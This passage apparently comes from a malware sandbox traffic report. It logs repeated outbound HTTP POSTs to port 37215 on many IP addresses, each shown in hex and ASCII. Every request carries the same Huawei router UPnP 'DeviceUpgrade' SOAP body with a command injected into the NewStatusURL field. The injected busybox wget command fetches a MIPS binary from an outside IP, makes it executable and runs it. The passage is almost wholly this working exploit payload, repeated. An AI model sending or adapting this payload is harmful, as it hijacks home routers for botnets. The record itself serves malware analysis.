xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:12.892632008 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:27.532633066 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:56.780700922 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.20	50148	156.77.131.188	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:03.043262005 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.20	37274	154.194.129.148	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:06.543961048 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:08.220691919 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:10.240602016 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:14.284692049 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:22.364675045 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
